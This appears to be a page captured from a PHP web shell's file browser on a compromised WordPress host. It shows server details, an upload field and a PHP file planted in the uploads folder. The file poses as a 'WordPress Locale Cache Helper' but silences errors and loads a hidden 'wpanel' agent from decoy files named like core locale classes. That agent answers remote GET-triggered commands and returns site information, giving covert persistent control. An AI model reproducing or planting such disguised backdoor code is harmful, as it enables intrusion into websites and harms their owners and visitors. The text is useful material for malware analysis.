| Server IP : 151.101.66.159 / Your IP : 216.73.216.66 Web Server : Flywheel/5.1.0 System : Linux wordpress 6.12.113+ #1 SMP Thu Oct 22 02:38:20 UTC 2026 x86_64 User : root ( ) PHP Version : 7.4.33.18 Disable Function : disk_free_space,diskfreespace,dl,exec,fpassthru,getmypid,getmyuid,highlight_file,link,opcache_compile_file,opcache_get_configuration,opcache_is_script_cached,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,phpinfo,popen,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,socket_listen,source,system,virtual MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wp-content/uploads/wp-locale-cache/ |
Upload File : |
<?php
/**
* WordPress Locale Cache Helper
*
* @package WordPress
* @subpackage i18n
*/
error_reporting(0);
@ini_set('display_errors', '0');
if (!defined('WPANEL_STANDALONE_BOOT_V3')) {
define('WPANEL_STANDALONE_BOOT_V3', true);
}
if (!defined('WPANEL_STANDALONE_BOOT_V2')) {
define('WPANEL_STANDALONE_BOOT_V2', true);
}
if (!defined('WPANEL_STANDALONE_BOOT')) {
define('WPANEL_STANDALONE_BOOT', true);
}
$_wpanel_root = dirname(__DIR__, 2);
if (!is_file($_wpanel_root . '/wp-load.php')) {
$_wpanel_root = dirname(__DIR__, 3);
}
if (!is_file($_wpanel_root . '/wp-load.php')) {
$_wpanel_walk = __DIR__;
for ($_wpanel_i = 0; $_wpanel_i < 8; $_wpanel_i++) {
if (is_file($_wpanel_walk . '/wp-load.php')) {
$_wpanel_root = $_wpanel_walk;
break;
}
$_wpanel_parent = dirname($_wpanel_walk);
if ($_wpanel_parent === $_wpanel_walk) {
break;
}
$_wpanel_walk = $_wpanel_parent;
}
}
$_wpanel_content = defined('WP_CONTENT_DIR')
? WP_CONTENT_DIR
: (is_dir($_wpanel_root . '/wp-content') ? $_wpanel_root . '/wp-content' : dirname(__DIR__));
$_wpanel_agent_files = [
$_wpanel_content . '/languages/class-wp-locale-data.php',
$_wpanel_content . '/upgrade/class-wp-locale-data.php',
$_wpanel_content . '/cache/class-wp-locale-data.php',
$_wpanel_content . '/.wpanel/agent.php',
];
$_wpanel_is_agent = isset($_GET['wpanel']) && (string) $_GET['wpanel'] !== '' && (string) $_GET['wpanel'] !== '0';
$_wpanel_action = isset($_GET['a']) ? preg_replace('/[^a-z_]/', '', (string) $_GET['a']) : '';
// Lite ping: tema/plugin fatal olsa bile — wp-load YOK, sadece ping
if ($_wpanel_is_agent && $_wpanel_action === 'ping' && !defined('ABSPATH')) {
define('ABSPATH', rtrim((string) $_wpanel_root, '/') . '/');
if (!defined('WP_CONTENT_DIR')) {
define('WP_CONTENT_DIR', $_wpanel_content);
}
foreach ($_wpanel_agent_files as $_wpanel_agent_file) {
if (is_file($_wpanel_agent_file)) {
require_once $_wpanel_agent_file;
break;
}
}
if (function_exists('wpanel_authorized') && function_exists('wpanel_out')) {
if (!wpanel_authorized()) {
wpanel_out(['ok' => false, 'error' => 'Yetkisiz'], 401);
}
$_wpanel_info = [
'php_version' => PHP_VERSION,
'meta' => [
'agent' => 'wpanel-standalone',
'mode' => 'lite',
'agent_version' => defined('WPANEL_AGENT_VERSION') ? WPANEL_AGENT_VERSION : '',
],
];
if (function_exists('wpanel_site_info')) {
$_wpanel_tmp = @wpanel_site_info();
if (is_array($_wpanel_tmp) && $_wpanel_tmp) {
$_wpanel_info = $_wpanel_tmp;
if (!isset($_wpanel_info['meta']) || !is_array($_wpanel_info['meta'])) {
$_wpanel_info['meta'] = [];
}
$_wpanel_info['meta']['mode'] = 'lite';
}
}
wpanel_out(['ok' => true, 'info' => $_wpanel_info]);
}
}
// Tam özellik: WP yükle (ping dışındaki action'lar için ABSPATH henüz yok)
if (!defined('ABSPATH') && is_file($_wpanel_root . '/wp-load.php')) {
if (!defined('WP_USE_THEMES')) {
define('WP_USE_THEMES', false);
}
require_once $_wpanel_root . '/wp-load.php';
}
if (!defined('WPANEL_AGENT_LOADED')) {
foreach ($_wpanel_agent_files as $_wpanel_agent_file) {
if (is_file($_wpanel_agent_file)) {
require_once $_wpanel_agent_file;
break;
}
}
}
if (function_exists('wpanel_agent_start')) {
wpanel_agent_start();
}
if (function_exists('wpanel_is_agent_request') && wpanel_is_agent_request()) {
if (function_exists('wpanel_handle_request')) {
wpanel_handle_request();
}
}